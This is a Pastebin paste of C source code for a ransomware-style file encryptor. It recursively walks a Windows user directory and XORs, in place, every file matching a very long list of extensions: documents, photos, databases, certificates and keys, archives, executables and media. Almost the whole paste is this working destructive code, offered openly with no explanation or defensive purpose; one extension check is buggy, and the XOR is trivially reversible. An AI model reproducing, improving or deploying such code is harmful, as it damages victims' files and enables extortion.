Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <Windows.h>
- void Encrypt(char *FileName)
- {
- DWORD dwread;
- HANDLE File = CreateFileA(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
- DWORD dwFileSize = GetFileSize(File, NULL);
- char read[1024000];
- ReadFile(File, read, dwFileSize, &dwread, NULL);
- for (int i = 0; i < dwFileSize; i++)read[i] ^= 0x07;
- SetFilePointer(File, 0,0, FILE_BEGIN);
- WriteFile(File, read, dwFileSize, &dwread, NULL);
- CloseHandle(File);
- }
- void Search(PSTR szDirectory);
- void main()
- {
- Search("C:\\Users\\PC\\");
- }
- void Search(PSTR szDirectory)
- {
- HANDLE hSearch;
- WIN32_FIND_DATA data;
- char g_szPathBuf[MAX_PATH];
- BOOL bFinished = 0;
- char *p, ext[12];
- //
- // Find normal files and also directories
- //
- data.dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
- SetCurrentDirectory(szDirectory);
- hSearch = FindFirstFile("*", &data);
- //
- // If we found a file, proceed
- //
- if(hSearch != INVALID_HANDLE_VALUE)
- {
- while(!bFinished)
- {
- if(data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
- {
- if(strcmp(data.cFileName, ".") != 0 &&
- strcmp(data.cFileName, "..") != 0)
- {
- //
- // Is this a directory? Then search it recursively. Make sure to
- // set our current directory back after we branch out.
- //
- GetCurrentDirectory(260, g_szPathBuf);
- if(g_szPathBuf[(strlen(g_szPathBuf) - 1)] != '\\')
- strncat(g_szPathBuf, "\\", sizeof(g_szPathBuf));
- strncat(g_szPathBuf, data.cFileName, sizeof(g_szPathBuf));
- Search(g_szPathBuf);
- SetCurrentDirectory("..");
- }
- }
- else
- {
- //
- // Encrypt the file
- //
- p = data.cFileName + strlen(data.cFileName);
- while(p >= data.cFileName && *p != '.') --p;
- if(p > data.cFileName) strncpy(ext, ++p, sizeof(ext));
- if(strcmp(ext, "txt") == 0 || strcmp(ext, "doc") == 0 || strcmp(ext, "docx") == 0 || strcmp(ext, "docm") == 0
- || strcmp(ext, "odt") == 0 || strcmp(ext, "ods") == 0 || strcmp(ext, "odp") == 0 || strcmp(ext, "odf") == 0
- || strcmp(ext, "odc") == 0 || strcmp(ext, "odm") == 0 || strcmp(ext, "odb") == 0 || strcmp(ext, "rtf") == 0
- || strcmp(ext, "xlsm") == 0 || strcmp(ext, "xlsb") == 0 || strcmp(ext, "xlk") == 0 || strcmp(ext, "xls") == 0
- || strcmp(ext, "xlsx") == 0 || strcmp(ext, "pps") == 0 || strcmp(ext, "ppt") == 0 || strcmp(ext, "pptm") == 0
- || strcmp(ext, "pub") == 0 || strcmp(ext, "epub") == 0 || strcmp(ext, "pdf") == 0 || strcmp(ext, "jpg") == 0
- || strcmp(ext, "jpeg") == 0 || strcmp(ext, "frm") == 0 || strcmp(ext, "wdb") == 0 || strcmp(ext, "ldf") == 0
- || strcmp(ext, "myi") == 0 || strcmp(ext, "vmx") == 0 || strcmp(ext, "xml") == 0 || strcmp(ext, "xsl") == 0
- || strcmp(ext, "wps") == 0 || strcmp(ext, "cmf") == 0 || strcmp(ext, "vbs") == 0 || strcmp(ext, "accdb") == 0
- //
- || strcmp(ext, "ini") == 0 || strcmp(ext, "cdr") == 0 || strcmp(ext, "svg") == 0 || strcmp(ext, "conf") == 0
- || strcmp(ext, "cfg") == 0 || strcmp(ext, "config") == 0 || strcmp(ext, "wb2") == 0 || strcmp(ext, "msg") == 0
- || strcmp(ext, "azw") == 0 || strcmp(ext, "azw1") == 0 || strcmp(ext, "azw3") == 0 || strcmp(ext, "azw4") == 0
- || strcmp(ext, "lit") == 0 || strcmp(ext, "apnx") == 0 || strcmp(ext, "mobi") == 0 || strcmp(ext, "p12") == 0
- || strcmp(ext, "p7b") == 0 || strcmp(ext, "p7c") == 0 || strcmp(ext, "pfx") == 0 || strcmp(ext, "pem") == 0
- || strcmp(ext, "cer") == 0 || strcmp(ext, "key") == 0 || strcmp(ext, "der") == 0 || strcmp(ext, "mdb") == 0
- //
- || strcmp(ext, "htm") == 0 || strcmp(ext, "html") == 0 || strcmp(ext, "class") == 0 || strcmp(ext, "java") == 0
- || strcmp(ext, "asp") == 0 || strcmp(ext, "aspx") == 0 || strcmp(ext, "cgi") == 0 || strcmp(ext, "cpp") == 0
- || strcmp(ext, "php") == 0 || strcmp(ext, "jsp") == 0 || strcmp(ext, "bak") == 0 || strcmp(ext, "dat") == 0
- || strcmp(ext, "pst") == 0 || strcmp(ext, "eml") == 0 || strcmp(ext, "xps") == 0 || strcmp(ext, "sqllite") == 0
- || strcmp(ext, "sql") == 0 || strcmp(ext, "jar") == 0 || strcmp(ext, "wpd") == 0 || strcmp(ext, "crt") == 0
- || strcmp(ext, "csv") == 0 || strcmp(ext, "prf") == 0 || strcmp(ext, "cnf") == 0 || strcmp(ext, "indd") == 0
- || strcmp(ext, "number") == 0 || strcmp(ext, "pages") == 0 || strcmp(ext, "lnk") == 0 || strcmp(ext, "dcu") == 0
- //
- || strcmp(ext, "pas") == 0 || strcmp(ext, "dfm") == 0 || strcmp(ext, "directory") == 0 || strcmp(ext, "pbk") == 0
- || strcmp(ext, "yml") == 0 || strcmp(ext, "dtd") == 0 || strcmp(ext, "rll") == 0 || strcmp(ext, "lib") == 0
- || strcmp(ext, "cert") == 0 || strcmp(ext, "cat") == 0 || strcmp(ext, "inf") == 0 || strcmp(ext, "mui") == 0
- || strcmp(ext, "props") == 0 || strcmp(ext, "idl") == 0 || strcmp(ext, "result") == 0 || strcmp(ext, "localstorage") == 0
- || strcmp(ext, "ost") == 0 || strcmp(ext, "default") == 0 || strcmp(ext, "json") == 0 || strcmp(ext, "sqlite") == 0
- || strcmp(ext, "log") == 0 || strcmp(ext, "bat") == 0 || strcmp(ext, "ico") == 0 || strcmp(ext, "dll") == 0
- //
- || strcmp(ext, "exe") == 0 || strcmp(ext, "x3f") == 0 || strcmp(ext, "srw") == 0 || strcmp(ext, "pef") == 0
- || strcmp(ext, "raf") == 0 || strcmp(ext, "orf") == 0 || strcmp(ext, "nrw") == 0 || strcmp(ext, "nef") == 0
- || strcmp(ext, "mrw") == 0 || strcmp(ext, "mef") == 0 || strcmp(ext, "kdc") == 0 || strcmp(ext, "dcr") == 0
- || strcmp(ext, "crw") == 0 || strcmp(ext, "eip") == 0 || strcmp(ext, "fff") == 0 || strcmp(ext, "iiq") == 0
- || strcmp(ext, "k25") == 0 || strcmp(ext, "crwl") == 0 || strcmp(ext, "bay") == 0 || strcmp(ext, "sr2") == 0
- || strcmp(ext, "ari") == 0 || strcmp(ext, "srf") == 0 || strcmp(ext, "arw") == 0 || strcmp(ext, "cr2") == 0
- //Beginning
- || strcmp(ext, "raw") == 0 || strcmp(ext, "rwl") == 0 || strcmp(ext, "rw2") == 0 || strcmp(ext, "r3d") == 0
- || strcmp(ext, "3fr") == 0 || strcmp(ext, "eps") == 0 || strcmp(ext, "pdd") == 0 || strcmp(ext, "dng") == 0
- || strcmp(ext, "dxf") == 0 || strcmp(ext, "dwg") == 0 || strcmp(ext, "dwg") == 0 || strcmp(ext, "psd") == 0
- || strcmp(ext, "png") == 0 || strcmp(ext, "jpe") == 0 || strcmp(ext, "bmp") == 0 || strcmp(ext, "gif") == 0
- || strcmp(ext, "tiff") == 0 || strcmp(ext, "gfx") == 0 || strcmp(ext, "jge") == 0 || strcmp(ext, "tga") == 0
- || strcmp(ext, "jfif") == 0 || strcmp(ext, "emf") == 0 || strcmp(ext, "3dm") == 0 || strcmp(ext, "3ds") == 0
- //
- || strcmp(ext, "max") == 0 || strcmp(ext, "obj") == 0 || strcmp(ext, "a2c") == 0 || strcmp(ext, "dds") == 0
- || strcmp(ext, "pspimage") == 0 || strcmp(ext, "yuv") == 0 || strcmp(ext, "3g2") == 0 || strcmp(ext, "3gp") == 0
- || strcmp(ext, "asf") == 0 || strcmp(ext, "asx") == 0 || strcmp(ext, "mpg") == 0 || strcmp(ext, "mpeg") == 0
- || strcmp(ext, "avi") == 0 || strcmp(ext, "mov") == 0 || strcmp(ext, "flv") == 0 || strcmp(ext, "wma") == 0
- || strcmp(ext, "wmv") == 0 || strcmp(ext, "ogg") == 0 || strcmp(ext, "swf") == 0 || strcmp(ext, "ptx") == 0
- || strcmp(ext, "ape") == 0 || strcmp(ext, "aif") == 0 || strcmp(ext, "wav") == 0 || strcmp(ext, "ram") == 0
- //Beginning
- || strcmp(ext, "m3u") == 0 || strcmp(ext, "rwl") == 0 || strcmp(ext, "rw2") == 0 || strcmp(ext, "r3d") == 0
- || strcmp(ext, "m3u") == 0 || strcmp(ext, "movie") == 0 || strcmp(ext, "mp1") == 0 || strcmp(ext, "mp2") == 0
- || strcmp(ext, "mp3") == 0 || strcmp(ext, "mp4") == 0 || strcmp(ext, "mp4v") == 0 || strcmp(ext, "mpa") == 0
- || strcmp(ext, "mpe") == 0 || strcmp(ext, "mpv2") == 0 || strcmp(ext, "rpf") == 0 || strcmp(ext, "vlc") == 0
- || strcmp(ext, "m4a") == 0 || strcmp(ext, "aac") == 0 || strcmp(ext, "aa3") == 0 || strcmp(ext, "amr") == 0
- || strcmp(ext, "mkv") == 0 || strcmp(ext, "dvd") == 0 || strcmp(ext, "mts") == 0 || strcmp(ext, "vob") == 0
- //
- || strcmp(ext, "3ga") == 0 || strcmp(ext, "m4v") == 0 || strcmp(ext, "srt") == 0 || strcmp(ext, "aepx") == 0
- || strcmp(ext, "camproj") == 0 || strcmp(ext, "dash") == 0 || strcmp(ext, "zip") == 0 || strcmp(ext, "rar") == 0
- || strcmp(ext, "gzip") == 0 || strcmp(ext, "vmdk") == 0 || strcmp(ext, "mdf") == 0 || strcmp(ext, "iso") == 0
- || strcmp(ext, "bin") == 0 || strcmp(ext, "cue") == 0 || strcmp(ext, "dbf") == 0 || strcmp(ext, "erf") == 0
- || strcmp(ext, "dmg") == 0 || strcmp(ext, "toast") == 0 || strcmp(ext, "vcd") == 0 || strcmp(ext, "ccd") == 0
- || strcmp(ext, "disc") == 0 || strcmp(ext, "nrg") == 0 || strcmp(ext, "nri") == 0 || strcmp(ext, "cdi"))
- {
- Encrypt(data.cFileName);
- //Change(data.cFileName, (char *)random);
- }
- {
- }
- }
- //
- // Go onto the next file?
- //
- if(!FindNextFile(hSearch, &data))
- {
- bFinished = 1;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement